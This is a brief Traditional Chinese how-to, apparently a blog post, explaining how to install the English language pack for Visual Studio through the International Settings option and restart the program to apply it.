由 Visual Studio 上方選單找到「工具/選項/國際設定」,畫面有個「取得其他語言」連結指向下載網站:

下拉選單選英文,轉到英文網頁後下載安裝檔回來安裝,安裝時間有點久,請耐心等候。

裝好後,國際設定選項就多了 English,選完就要重啟 Visual Studio 才會生效。

Viewing all 2311 articles
Browse latest View live